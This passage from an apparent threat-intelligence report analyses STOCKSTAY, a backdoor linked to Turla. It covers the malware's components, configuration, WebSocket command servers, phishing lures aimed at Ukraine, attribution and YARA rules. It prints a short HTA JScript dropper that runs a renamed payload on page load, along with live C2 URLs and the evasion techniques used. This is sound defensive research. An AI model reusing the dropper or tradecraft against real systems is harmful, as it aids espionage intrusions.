Figure 2: Encrypted STOCKSTAY configuration file format, falsely describing itself as an application for trading information

{
  "internal_id": "<server_identifier>",
  "internal_key": "<server_public_key>",
  "interval_engine": "600000",
  "level_info": "0",
  "time_scale": "1",
  "span_min": "9",
  "span_max": "18",
  "rate": "2700",
  "rate_control": "false",
  "service": "<websocket_c2_url>",
  "days_not_work": "Saturday;Sunday;",
  "system_properties": "eyJzeXN0ZW1fZGF0YV9zaXplIjoiNDAwMDAwIn0="
}

Figure 3: Decrypted STOCKSTAY configuration file format (extracted from SystemConfiguration field)

STOCKSTAY.STOCKMARKET communicates with STOCKSTAY.STOCKBROKER in order to provide details of the WebSocket server, and to subsequently send and receive messages via the established WebSocket connection, usually containing the results of executed commands. STOCKSTAY.STOCKMARKET also communicates with the STOCKSTAY.STOCKTRADER component in order to issue commands to be executed on the infected host.

On first execution, STOCKSTAY.STOCKMARKET generates a unique 4096-bit RSA key pair, to be used throughout the implant’s lifecycle to encrypt outbound data prior to being sent via WebSocket. The implant’s public key is sent to the server in the malware’s first request, to enable the server to decrypt task responses. STOCKSTAY.STOCKMARKET also generates a unique infection identifier to be used by the C2 server to determine the intended receiver of tasking. STOCKSTAY’s configuration file specifies an “internal_id” field, which GTIG assesses represents an identifier for the server-side component of the malware ecosystem. We assess that this identifier is used by the malware’s operators to retrieve responses from interim C2 servers which may be used by multiple operators. To date, GTIG has observed only a single unique value for this identifier and is unable to determine whether multiple operators are leveraging STOCKSTAY at this time due to insufficient telemetry.

STOCKSTAY.STOCKTRADER

STOCKSTAY.STOCKTRADER, internally referred to as “sys”, is the backdoor component of the STOCKSTAY ecosystem, and supports a range of registry, file, and command execution operations on the infected host, as detailed in Table 1.

Related Downloaders and Installers

STOCKSTAY.MARKETMAKER

STOCKSTAY.MARKETMAKER is a proxy-aware downloader written in .NET using the Windows Forms framework that downloads and extracts additional payloads from a remote server, establishes persistence through Windows registry modifications, and runs silently in the background with no user interface. This downloader has been observed masquerading as "MicrosoftUpdateOneDrive" to appear legitimate while setting up multiple autorun entries to execute the core components of STOCKSTAY.

.NET AppDomainManager

During our analysis, GTIG identified what we believe to be an early development sample of STOCKSTAY.MARKETMAKER which, instead of downloading the required components, was dependent on external mechanisms (such as .NET AppDomainManager injection) for the initial deployment of samples to the target host.

STOCKSTAY Server-Side Controller

GTIG identified a publicly accessible GitHub repository containing a Python implementation of the victim-facing STOCKSTAY WebSocket server controller. The lightweight design of the server component appears to supplement the threat actor’s usage of third-party hosting platforms such as Render platform which provides a platform for hosting web services, including WebSockets. The inability for the server to decrypt inbound messages prevents introspection by platform operators, and further obfuscates the location of the threat actor’s dedicated infrastructure. This architecture somewhat resembles Turla’s multi-hop KAZUAR C2 infrastructure.

The server extends tornado.websocket.WebSocketHandler to provide the interface described in Table 2, under the path /ws; aligning with all observed STOCKSTAY WebSocket C2 URLs.

Database Structure

The server maintains a local SQLite3 database under the filename weather_data1.db, structured as shown in Tables 3 and 4.

Key Operational Characteristics

Consistent Use of Academic or Diplomatic Lure Content

The threat actor(s) involved in STOCKSTAY operations appear to have an affinity for integrating academia and diplomacy into their infrastructure and lure/decoy content, including:

• compromising an email account belonging to a Ukrainian university to disseminate phishing emails;

• using the names of an academic institution within the file name of a malicious RDP file;

• compromising a diplomatic education platform for phishing and distribution of malicious RDP files;

• using “education” and “diplo” within registered phishing domains; and

• using “DiplomacyEduAI” as the product name within STOCKSTAY MSI files.

Persistent Ukrainian Targeting

A significant proportion of STOCKSTAY operations observed by GTIG have been targeted at Government or Military organizations within Ukraine, consistent with Russian interests in relation to the ongoing conflict between the two countries. The threat actor has been observed utilizing in-country compromised infrastructure, including compromised government services, to deploy both STOCKSTAY and a range of supplementary payloads, in support of these operations. 

Suspected European Targeting

A smaller number of STOCKSTAY operations observed by GTIG appear to have been targeted at European entities. Early development samples of STOCKSTAY were identified in various European nations, including Italy, the Netherlands, Poland, and Germany; however, we have been largely unable to confirm the intended victims for the majority of these early infections, nor whether these samples were identified as a result of the threat actor testing their capabilities against publicly available virus scanning services such as VirusTotal. GTIG was able to identify, in at least one case, the targeting of entities associated with, or interested in, a foreign affairs ministry in Europe in relation to phishing and suspected STOCKSTAY activity. 

Deployment via Malicious RDP Files

GTIG observed STOCKSTAY being deployed following successful phishing attempts using malicious RDP configuration files. The RDP files were designed to create a connection from the victim’s device to actor-controlled infrastructure, through which the actor could then deploy subsequent payloads.

In one operation in early 2025, GTIG identified a phishing email, claiming to be sent by a defense-related training academy, containing a malicious RDP file attachment. A short time following the victim’s connection to the actor’s infrastructure, the actor deployed STOCKSTAY.MARKETMAKER, a .NET downloader designed to retrieve and install the full STOCKSTAY suite on the victim’s device. 

Later, in mid-2025, GTIG identified similar malicious RDP files being hosted on a compromised diplomatic-themed education platform, luring victims into downloading and executing the file under the guise of enabling access to an online training portal. GTIG was unable to confirm whether STOCKSTAY was ultimately deployed as a result of this operation; however, overlaps in the actor’s infrastructure and education-themed lures for both operations may suggest STOCKSTAY was the intended payload. 

Deployments at Multiple Stages of Operations

Through GTIG’s visibility, we have identified that the threat actor uses STOCKSTAY at multiple distinct stages of their operations. 

In the first instance, the threat actor uses STOCKSTAY during operations to gain initial access into environments which haven’t yet been subject to the group’s reconnaissance activities. In these instances, STOCKSTAY is configured with hard-coded configuration passwords, which can be trivially extracted by analysts. We observed this type of infection stemming from the group’s phishing operations, where the threat actor is unable to determine exactly where in the victim’s network they are going to gain their initial foothold.

When the threat actor deploys STOCKSTAY at a later stage of operation, following reconnaissance, STOCKSTAY is configured to incorporate environmental keying for its configuration, requiring the malware to be executed either on a specific host, by a specific user, within a specific domain, or a pre-determined combination of the these attributes. This configuration implies that, at this stage, the actor knows exactly which machine is being targeted, likely through existing accesses to the target environment. This was seen within Ukrainian networks where STOCKSTAY was deployed toward the end of an operation which had previously relied heavily on the group’s other tools, such as KAZUAR. 

Overlaps with KAZUAR

K1MORPHER String Obfuscation

In April 2025, GTIG observed STOCKSTAY being updated to implement a new string obfuscation mechanism, based around an obscure pseudo-random number generation algorithm named “Squirrel3”, which was presented at Game Developers Conference 2017. 

GTIG later identified versions of STOCKSTAY containing some of their original class-names, which showed the code responsible for runtime string deobfuscation being contained within a class named “K1.Morpher”. Analysis of K1MORPHER shows the ability to perform runtime deobfuscation of a range of datatypes, such as strings, integers, and arrays. 

In June 2025 GTIG noticed K1MORPHER code appearing in samples of KAZUAR. KAZUAR has historically used its own simple but effective code and string obfuscation techniques to evade detection, such as: the insertion of junk code; replacing static constant values with the results of XOR operations; and large quantities of unique character substitution tables. The actor’s use of K1MORPHER within STOCKSTAY appears to be trending toward mimicking KAZUAR’s multi-class obfuscation techniques, where obfuscation is handled by multiple distinct classes, as observed in suspected test builds of STOCKSTAY hosted on a compromised Cypriot website in April 2024.

Implant Architecture 

Since at least 2024, KAZUAR has been observed being deployed using a multi-component architecture, whereby C2 communication, task orchestration, and task execution are managed by separate components. Within the KAZUAR ecosystem, these components are referred to as “BRIDGE”, “KERNEL”, and “WORKER”, respectively.

As of late 2023, GTIG identified a similar separation of responsibilities within the STOCKSTAY ecosystem, with the same responsibilities being separated into distinct components. C2 communication is managed by the component tracked by GTIG as STOCKSTAY.STOCKBROKER, while task orchestration and execution are handled by STOCKSTAY.STOCKMARKET and STOCKSTAY.STOCKTRADER, respectively.

Environmental Keying

Both KAZUAR and STOCKSTAY ecosystems have been observed using environmental keying to protect themselves from detection and analysis.

DIAMONDBACK, a dropper often deployed prior to KAZUAR in the execution chain, has made use of a hash of the target’s hostname in decrypting its payload, to prevent divulgence of its intentions outside of the target environment. Later versions of DIAMONDBACK can be configured to incorporate the target’s username and domain name in the hash required to decrypt the payload.

STOCKSTAY has been observed using the hash of the target’s hostname or domain name during the decryption of its configuration data, preventing disclosure of C2 infrastructure unless operating in the intended environment.

Summary of Overlaps

GTIG assesses with moderate confidence that STOCKSTAY and KAZUAR may be developed in-part by a common developer or team, with active development occurring in tandem between the two malware ecosystems. We believe that STOCKSTAY is being developed in KAZUAR’s image, with several design decisions likely spawning from the threat actor’s wealth of experience in conducting operations using this long-standing toolkit. Both ecosystems rely heavily on .NET development, and have been observed using compromised WordPress sites during various stages of their operations.

We assess with low confidence that our observations of STOCKSTAY being deployed alongside KAZUAR during active operations may be a result of the threat actor seeking to test new capabilities in active operations, particularly where they may be expecting their existing access to be remediated in the near future. 

STOCKSTAY Timeline

GTIG has conducted a thorough investigation into the history of STOCKSTAY, identifying suspected development activity as far back as December 2022. What follows is our assessment of the timeline of events surrounding STOCKSTAY’s development and deployment. To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) within each observed operation section, and in a GTI Collection for registered users.

December 2022

The version of the open-source websocket-sharp.dll bundled with the majority of observed STOCKSTAY.STOCKBROKER samples was last modified, according to timestamp information in MSI files and ZIP archives containing STOCKSTAY. Although built from an open-source library, this specific instance appears to have been compiled by the actor themselves, thus creating a uniquely identifiable artifact with which to track this malware’s continuous development.

September 21, 2023: Germany

An early version of STOCKSTAY was uploaded to VirusTotal from Germany, under the filename “DriversPrinterGraphic.rar”. From the archive’s timestamps, it appears as though the sample was submitted within 20 minutes of being created, likely indicating this was submitted by the malware’s developer.

This version predates the malware’s separation into distinct role-based components, instead incorporating all core functionality into a single executable: StockMarketNews.exe. Additionally, this version of STOCKSTAY contained the user interface shown in Figure 6, which enables viewing/editing of configuration options and command messages, while still presenting as a stock market utility.

This particular STOCKSTAY sample uses a slightly different configuration file format; however, the underlying configuration options are consistent with later versions. This sample also utilizes environmental keying for its configuration file; using the lower-cased hostname of the intended target as the decryption password. GTIG has been unable to recover the password at this time.

December 5 – 6, 2023: Netherlands

A further RAR archive containing STOCKSTAY was submitted to VirusTotal at 2023-12-06 08:52:49 from the Netherlands, under the filename “apps_libwallets_v1.3.rar”. This archive was last modified the previous day at 2023-12-05 16:47:42. This pattern may indicate that the archive was created by the individual at the end of their working day, and then submitted the following day when they returned to the office.

This instance of STOCKSTAY was the first case observed by GTIG of the malware’s core functionality being separated into distinct role-based components, using the filenames shown in Table 7.

Similar to the sample observed in September 2023, this instance of STOCKSTAY also used environmental keying, however this instance used the target computer’s domain name as the configuration password. GTIG has been unable to recover the password at this time.

January 2024: Ukraine

GTIG conducted a review of an incident response conducted by Mandiant relating to a late-2023 compromise of a Ukrainian organization, in which we observed Turla deploying a wide range of tools into the victim’s network, including WILDDAY, DIAMONDBACK and KAZUAR, via malicious GPO installation from a compromised domain controller. This activity was accompanied by other simple scripts and backdoors to deploy malware across multiple machines in the infected organization. 

During the review, GTIG identified evidence of STOCKSTAY execution on one of the hosts impacted by the infected domain controller. Multiple ZIP archives, each containing one of the core components of STOCKSTAY or its configuration, were uploaded to the domain controller. The files were found in a directory used for staging registry files used to install WILDDAY both prior to and after STOCKSTAY appeared on the host, as well as for staging output from an otherwise unknown Powershell backdoor (iclsClient.ps1) which was also observed running from the domain controller.

During this operation, an initial STOCKSTAY configuration file was deployed to the domain controller alongside the STOCKSTAY core component executables, however this file was not able to be decrypted using any known passwords or environmental identifiers. A short while later, Mandiant observed a second configuration file being deployed to the domain controller, this time encrypted using the domain name associated with the compromised network. GTIG assesses with moderate confidence that the deployment of the initial configuration file was either a mistake by the threat actor - perhaps deploying a configuration file associated with a different victim - or the result of a default or invalid configuration file being bundled with STOCKSTAY during initial deployment to prevent sensitive C2 details from being captured in the event of early detection of the malware in the victim’s environment.  

The successfully decrypted configuration defined a STOCKSTAY WebSocket C2 URL of wss://wool-basalt-clock.glitch.me/ws. Additionally, the configuration specified an operational time-frame of Monday to Friday between the hours of 0900 and 1800 on the victim's system. This time-based restriction is likely intended to blend C2 communications with normal business operations in the victim's network. This same time-frame has been observed in a majority of STOCKSTAY configuration files analyzed by GTIG.

Of particular note, toward the end of this operation, Mandiant identified firewall detections relating to one of KAZUAR’s C2 endpoints. GTIG assesses, with low to moderate confidence, that the threat actor could have been aware of the suspicion surrounding its C2 and deployed STOCKSTAY as a failsafe in case KAZUAR was identified and remediated, thus enabling reinfection at a later date, in the event that STOCKSTAY remained undetected.

February 2024: Italy

An MSI file configured to install STOCKSTAY was uploaded to VirusTotal at 2024-02-20 11:45:26 from Italy, under the filename “Copia.msi”. The MSI masqueraded as the ILSpy application developed by ICSharpCodeTeam, and contained a large number of legitimate benign components. The MSI installed the core STOCKSTAY components under %LOCALAPPDATA%/Programs/SMN/, and enabled persistent execution via registry run keys. 

The STOCKSTAY samples contained in the MSI were compiled between January 29 and January 31, 2024, with the configuration file last being modified on February 13, 2024, just a week before being submitted to VirusTotal.

In addition to the installation of STOCKSTAY, the MSI file contains a custom MSI action named “OpenUrl”. This action has the sequence number 1 in the InstallUISequence table, indicating it should be executed before any other actions. The custom action is configured to execute the following command:

viewer.exe
https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php

When viewed, the URL contains references to elections (“elezioni”) and the Italian organization “Circolo Degli Esteri”, which according to their official website (https://www.circoloesteri.it/), was founded to “represent the Ministry of Foreign Affairs”. We do not currently assess that the actor was directly targeting Italian elections, and was instead using elections-related phishing lures to target victims. Due to limited visibility, we have been unable to identify any earlier stages of this particular operation, and cannot confirm the identity of the intended targets of any potential related phishing campaigns.

Foreign Affairs Club 1936

Approval of the 2023 Financial Statement

Analysis of the status of those registered to vote (automatically updates every 60 seconds)...
update 6:26:50

Total Voters: 915
Currently registered members with 2-tonte status: 364
Currently registered with status 4 Ready to vote: 5
Currently registered with status 3 - Voted 46
Voter turnout (votes cast on registered voters): 5.03%

Although inconclusive, this appears to indicate an intention to deploy STOCKSTAY against Italian-speaking individuals or organizations, specifically with a focus on foreign affairs.

In following with previous STOCKSTAY instances, this sample utilized environmental keying for its configuration file. GTIG was able to recover the domain name used to decrypt the configuration file in order to identify the WebSocket C2 address wss://wool-basalt-clock.glitch.me/ws. This matches the C2 address used in January 2024.

March 18 – April 3, 2025: Ukraine

On April 2, 2025, GTIG identified a compromised email account sending a phishing email containing a message purporting to originate from a Ukrainian university, relating to the testing of a new distance learning environment. The threat actor attached a malicious Remote Desktop Protocol (RDP) file to the email, which upon opening resulted in a connection being established between the victim and an open RDP port (3389) hosted on the actor-registered domain chosen to imitate the same academic institution. 

Once the victim connected to the actor's infrastructure, GTIG observed the actor deploying STOCKSTAY.MARKETMAKER to the client. STOCKSTAY.MARKETMAKER was configured to download a ZIP containing STOCKSTAY from a legitimate but compromised website belonging to the State Regulatory Service of Ukraine. In contrast to the majority of earlier observations, the configuration file observed during this operation was protected with a hard-coded password. This appears to correspond with this particular operation’s focus on initial access to a victim’s environment via spear-phishing, through which the specific domain or host name may not be known to the threat actor, and thus cannot be used for environmental keying. GTIG was able to identify the malware using the WebSocket C2 URL wss://weatherdataai.theworkpc.com/ws.

According to the metadata associated with the ZIP archive downloaded by STOCKSTAY.MARKETMAKER, the core STOCKSTAY components used during this operation were last modified between March 18 – 26, with the configuration file last being modified on March 31.

May 14, 2025: Poland

GTIG identified two samples of STOCKSTAY.STOCKBROKER being uploaded to VirusTotal on May 14, 2025 from Poland. 

The first sample, named “ClientMNGR2.exe”, matched previously observed versions, however the second sample, named “GR3.exe”, was heavily obfuscated using large quantities of junk code, and a previously unknown string obfuscation mechanism. GTIG tracks this obfuscation mechanism as K1MORPHER, and we have since observed its inclusion in all core STOCKSTAY components, and within select samples of KAZUAR; increasing our confidence that STOCKSTAY exists within the same development ecosystem as other malware leveraged by Turla.

May 28 – August 8, 2025: Ukraine — Deployment via Malicious HTA

On August 8, 2025, GTIG identified a RAR archive, “calculator.rar”, being submitted to VirusTotal. The archive had been hosted on compromised infrastructure belonging to a Ukrainian IT company since at least July 22, 2025. The archive contained a malicious HTA file named “Калькулятор грошового забезпечення військовослужбовців 2025.hta” (translation: "Military personnel cash benefit calculator 2025.hta"). The HTA was designed to execute a variant of the STOCKSTAY.MARKETMAKER downloader, which was also included in the archive, using the code shown in Figure 9.

<script language="JScript">
  function renameAndRunFile() {
    try {
      var oldName = "calculator_2025_files\\styles.dat";
      var newName = "calculator_2025_files\\styles.dat.exe";

      var fso = new ActiveXObject("Scripting.FileSystemObject");

      if (fso.FileExists(oldName)) {
        if (fso.FileExists(newName)) {
          fso.DeleteFile(newName);
        }
        fso.MoveFile(oldName, newName);

        var shell = new ActiveXObject("WScript.Shell");
        shell.Run('"' + newName + '"', 1, false);
      } else {
      }

    } catch (e) {
    }
  }

window.onload = function() {
  renameAndRunFile();
};
</script>

Figure 9: JavaScript code contained in Калькулятор грошового забезпечення військовослужбовців 2025.hta

The STOCKSTAY.MARKETMAKER variant retrieved a ZIP archive, “EditorToolsPdf.zip”, containing the core STOCKSTAY components from a second compromised server located in Ukraine, this time hosting the archive within a compromised WordPress instance. 

Analysis of the modification timestamps within the military calculator lure archive show that this operation dated as far back as May 28, 2025, when the majority of the contents of the “calculator_2025_files” folder were last modified. The STOCKSTAY.MARKETMAKER executable was last modified on June 5, 2025, and the malicious HTA file was modified on June 10, 2025. 

Similar examination of the STOCKSTAY archive shows the configuration file being modified on June 4, 2025, while the archive itself was last modified on the compromised server on June 5, 2025. This series of events shows that the complete STOCKSTAY ZIP archive was staged on the compromised infrastructure while modifications were being made to the initial phishing lures.

GTIG has been able to confirm via a trusted third party that the original compromise of the Ukrainian server used to host the STOCKSTAY archive occurred on or before May 13, 2025.

July 23 – 28, 2025: Actor Uses GitHub to Host STOCKSTAY MSI Files

GTIG identified a GitHub account we suspect of being used by the threat actor to test or deploy STOCKSTAY. The GitHub account, Roberto1983-ai, was created on July 23, 2025 at 12:01:03. 

On July 24, 2025, the account created a public repository named msi_installer_test2, into which a single file was uploaded: DiplomacyEduAI.msi. A second repository, this time named msi_installer_test3, was created by the same user on July 28, 2025, and subsequently populated with another version of DiplomacyEduAI.msi.

Both versions of DiplomacyEduAI.msi contained core STOCKSTAY components, alongside a configuration file containing the WebSocket C2 URL wss://canal1zac1a.onrender.com/ws. GTIG has been unable to identify any active operations using these specific MSI files.

August 14, 2025: Actor Uses GitHub to Host STOCKSTAY Server Code

GTIG identified a second GitHub account, which was observed hosting what we assess to be server-side code for handling STOCKSTAY C2 communications. The GitHub account, ChikenFresh, was created on August 14, 2025, then almost immediately created a public repository named google-ai-labs-it, into which the suspected C2 controller code was uploaded. Our analysis of the C2 controller is included in the malware analysis section earlier in this report.

The GitHub repository name corresponds with a STOCKSTAY C2 server identified running on the Render platform, however GTIG has not observed any active operations using this infrastructure. We assess that the threat actor linked this GitHub repository to their Render account in order to utilize their WebSocket hosting capabilities.

November 2025: Ukraine — Drone-Related Lures and Deployment via CVE-2025-8088

On November 6, 2025, GTIG identified a batch of phishing emails being sent from a drone-themed UKR.NET email account, to approximately 20 Ukraine-based targets, each containing a unique ukr.net file sharing link. Each link led to a malicious RAR archive which exploits a path traversal vulnerability in WinRAR (CVE-2025-8088) to install the core STOCKSTAY components. Continuations of this phishing activity were observed on November 12 and 14, 2025. We identified that only around 30% of the recipients of these phishing emails opened the emails, however we are unable to confirm how many of these individuals downloaded or executed the malicious payloads. All affected Google accounts were marked for additional authentication checks as a precautionary measure against potential account compromise. Google also notified affected users via our Government Backed Attack Warning (GBAW) notifications.

GTIG identified two distinct types of Ukrainian-language decoy documents within the malicious RAR archives, both appearing to target Ukrainian military personnel. The first, “Донесення БпЛА 06.11.2025.docx” (“UAV report 06.11.2025.docx”), claimed to be “[A] Report on the availability/need for UAVs, their condition, the availability of crews for each UAV in the units, their training in the defense zone of the 1st Brigade as of 06.11.2025” (see Figure 10).

The second decoy, observed as “Товари(докладніше).docx” (“Products (more details).docx”) and “Приклади товарів для листа (деталізовано).docx” (“Examples of products for the letter (detailed).docx”), predominantly comprised of an equipment list referencing: “Tactical medicine”; “Communication and surveillance equipment”; “Equipment and survival equipment”; and “Automotive property” (see Figure 11).

Each of the decoy documents contained an external image reference that causes a connection to be made from the victim’s machine to a site likely monitored by the threat actor, signaling that the document has been opened. GTIG believes the URLs referenced by the decoy documents may be hosted on compromised infrastructure.

GTIG identified that the instances of STOCKSTAY observed being deployed during this operation contained enhancements intended to increase resistance to detection, specifically by carving out functionality into external modules. These external modules were named to imitate legitimate Windows libraries, using the filenames shown in Table 20.

GTIG observed two distinct STOCKSTAY WebSocket C2 URLs being used during this phishing wave. The majority of instances used the URL wss://driverx86-adobe.onrender.com/ws; however, we were able to identify at least one instance of STOCKSTAY using wss://google-ai-labs-it.onrender.com/ws, corresponding to the previously described GitHub repository associated with the ChikenFresh user.

Alongside the core STOCKSTAY components, the malicious RAR archives contained LNK files, described as “Updater Shortcut”, corresponding to each core STOCKSTAY component. The extraction file path was configured to attempt to deploy into the startup programs directory. 

GTIG was able to identify that the actor began creating the LNK files for this operation approximately six hours prior to the first phishing emails being sent, with the Ukrainian-language lure documents being created around four hours prior.

Attribution

GTIG attributes the STOCKSTAY ecosystem and related activity to threat clusters assessed with high confidence links to Turla, based on the following:

• STOCKSTAY uses Windows-1251 during command-processing - an encoding notably designed specifically to support Cyrillic script. This is indicative of a development or operational environment linked to Eastern Europe, the Balkans, or Central Asia. 

• STOCKSTAY has code overlaps with KAZUAR, a widely-attributed proprietary Turla toolkit, based on the recent introduction of K1MORPHER string obfuscation into both malware families within a similar time window.

• GTIG observed STOCKSTAY being delivered from compromised infrastructure which was also identified as hosting part of Turla’s victim-facing KAZUAR C2 infrastructure.

Turla has a consistent focus on targeting Ukrainian Defense and Military organizations, and was identified within a Mandiant Incident Response deploying STOCKSTAY alongside a range of other proprietary Turla malware, such as WILDDAY, DIAMONDBACK, and KAZUAR.

Detections

Google Security Operations (SecOps)

SecOps customers will have access to the following pending-deployment rules. Once fully deployed, these rules will be available under the Mandiant Frontline Threats, Mandiant Hunting and Mandiant Intel Emerging Threats rule packs:

• Archiver Extraction To Windows Startup

• Registry Write Registry Run Keys

• Registry Write to Run Registry Key

• Potential RDP File Write From Phishing

• RDP Connection Initiated from Staging Directory

• Onrender Subdomain Suspicious DNS Query

YARA Rules

rule G_Backdoor_STOCKSTAY_ConfigurationFile_2 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects encrypted configuration files associated with STOCKSTAY."
        hash = "40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3"

    strings:
        $s1 = "\"SystemConfiguration\""
        $s2 = "An application for getting information about current events on trading platforms"
        $s3 = "To set the time for updating information, enter a value in minutes in the `Interval` field"
        $s4 = "The `SystemConfiguration` field stores the system settings of the application."
        $s5 = "In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`."
        $s6 = "wss://"

    condition:
        uint16(0) == 0x227B  // {"
        and 4 of ($s*)
}

rule G_Backdoor_STOCKSTAY_ConfigurationFile_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects early configuration files associated with STOCKSTAY."
        hash = "1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f"

    strings:
        $key_required_1 = "\"List 1\""
        $key_required_2 = "\"List 2\""
        $key_required_3 = "\"List 3\""
        $key_dummy_1 = "\"BinanceApi\""
        $key_dummy_2 = "\"CoinbaseCloudApi\""
        $key_dummy_3 = "\"CoinbaseCloudApi Sandbox\""
        $key_dummy_4 = "\"ByBitApi Spot\""
        $key_dummy_5 = "\"ByBitApi Linear\""
        $key_dummy_6 = "\"Info level\""
        $key_dummy_7 = "\"Rate info\""
        $key_dummy_8 = "\"Info level\""

    condition:
        uint8(0) == 0x7B  // {
        and filesize > 500
        and all of ($key_required_*)
        and 3 of ($key_dummy*)
}

rule G_Backdoor_STOCKSTAY_ConfigurationFile_5 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext configuration files used by the STOCKSTAY malware family."
    hash = "6cee9e838792ac5e2098362d68ce93a9a2c095d476dc16b289fe8509c99b2b8b"

  strings:
    $internal_id_1 = "\"internal_id\""
    $internal_id_2 = "\"i_id\""
    $internal_key_1 = "\"internal_key\""
    $internal_key_2 = "\"i_k\""
    $interval_engine_1 = "\"interval_engine\""
    $interval_engine_2 = "\"ie\""
    $level_info_1 = "\"level_info\""
    $level_info_2 = "\"li\""
    $time_scale_1 = "\"time_scale\""
    $time_scale_2 = "\"ts\""
    $span_min_1 = "\"span_min\""
    $span_min_2 = "\"mx1\""
    $span_max_1 = "\"span_max\""
    $span_max_2 = "\"my1\""
    $rate_1 = "\"rate\""
    $rate_2 = "\"rt_x_y\""
    $rate_control_1 = "\"rate_control\""
    $service_1 = "\"service\""
    $service_2 = "\"srv\""
    $days_not_work_1 = "\"days_not_work\""
    $days_not_work_2 = "\"dnw\""
    $system_properties_1 = "\"system_properties\""
    $system_properties_2 = "\"sp\""

  condition:
    any of ($internal_id*)
    and any of ($internal_key*)
    and any of ($interval_engine*)
    and any of ($level_info*)
    and any of ($time_scale*)
    and any of ($span_min*)
    and any of ($span_max*)
    and any of ($rate*)
    and any of ($service*)
    and any of ($days_not_work*)
    and any of ($system_properties*)
}

rule G_Backdoor_STOCKSTAY_CryptoContainer_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects code for parsing crypto containers within STOCKSTAY components."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $s1 = "BuildCryptoContainer"
        $s2 = "ParseCryptoContainer"
        $s3 = "Windows-1251" wide
        $s4 = "AesCryptoServiceProvider"
        $s5 = "RSACryptoServiceProvider"

    condition:
        uint16(0) == 0x5a4d
        and all of them
}

rule G_Backdoor_STOCKSTAY_WindowNames_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY window names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"


    strings:
        $import = "_CorExeMain"
        $s2 = "SMEditorPage" wide
        $s3 = "SMNetPage" wide
        $s4 = "StockMarketViewPage" wide
        $s5 = "window_system32_x128" wide
        $s6 = "window_system32_x64" wide
        $s7 = "window_system32_x32" wide

    condition:
        $import 
        and any of ($s*)
}

rule G_Downloader_STOCKSTAY_MARKETMAKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.MARKETMAKER downloader based on method names and payload filenames."
        hash = "da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40"

    strings:
        $f1 = "CheckAutoRun"
        $f2 = "SetupAutoRun"
        $f3 = "DownloadAndExtractZip"
        $f4 = "GetSystemProxy"

        $s0 = "_CorExeMain"
        $s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
        $s2 = "StockMarketView.exe" wide
        $s3 = "SMNet.exe" wide
        $s4 = "SMEditor.exe" wide

    condition:
        all of them
}

rule G_Controller_STOCKSTAY_STOCKMARKET_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKMARKET controller based on method and field names, and SQL queries"
        hash = "2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0"

    strings:
        $f1 = "ProtocolMessageConnect"
        $f2 = "ProtocolMessageEnd"
        $f3 = "ProtocolMessagePing"
        $f4 = "ProtocolMessageRequestRecv"
        $f5 = "ProtocolMessageRequestSend"
        $f6 = "ProtocolMessageTask"
        $f7 = "ProtocolMessageTaskSysinfo"
        $f8 = "TMR_AppInit_Tick"
        $f9 = "TMR_Engine_Tick"
        $f10 = "TMR_KeepAlive_Tick"
        $f11 = "TMR_PingNet_Tick"
        $f12 = "TMR_PingSystem_Tick"
        $f13 = "GetDataTrade"
        $f14 = "GetDataNews"
        $f15 = "InsertDataTrade"
        $f16 = "InsertDataNews"
        $sql1 = "CREATE TABLE IF NOT EXISTS News (" wide
        $sql2 = "CREATE TABLE IF NOT EXISTS Trade (" wide
        $sql3 = "CREATE TABLE IF NOT EXISTS Market (" wide
        $sql4 = "INSERT INTO Market ( Guid, Version, Config, Status, Launch, Type ) VALUES (@Guid, @Version, @Config, @Status, @Launch, @Type)" wide
        $sql5 = "INSERT INTO News (Container) VALUES (@Container)" wide
        $sql6 = "INSERT INTO Trade (Container) VALUES (@Container)" wide

    condition:
        8 of ($f*)
        and any of ($sql*)
}

rule G_Tunneler_STOCKSTAY_STOCKBROKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKBROKER tunneler based on known IPC message handler and variable names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"

    strings:
        $s1 = "_CorExeMain"
        $s2 = "ProtocolMessageStatusConnection"
        $s3 = "ProtocolMessageResult"
        $s4 = "ProtocolMessageEnd"
        $s5 = "OnGetDataFromServer"
        $s6 = "webSocket"
        $s7 = "wmCopyData"
        $s8 = "tempStorage"

    condition:
        all of them
}

rule G_Backdoor_STOCKSTAY_STOCKTRADER_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKTRADER backdoor based on known command handlers and FNV1a hashes."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $cmd_1 = "AppDel"
        $cmd_3 = "AppDeleteRegistryValue"
        $cmd_4 = "AppDir"
        $cmd_5 = "AppGet"
        $cmd_6 = "AppMkdir"
        $cmd_7 = "AppPut"
        $cmd_8 = "AppReadRegistryValue"
        $cmd_9 = "AppRegistryKeyExists"
        $cmd_10 = "AppRmdir"
        $cmd_11 = "AppRun"
        $cmd_12 = "AppWriteRegistryValue"
        $cmd_13 = "AppUnpackArchive"
        $cmd_14 = "ArchiveFiles"
        $cmd_15 = "GetFiles"
        $cmd_16 = "Sysinfo"
        
        $hash_1  = {ea8e5e34}
        $hash_2  = {3445694e}
        $hash_3  = {f73e97b6}
        $hash_4  = {9aa70c59}
        $hash_5  = {18b496c9}
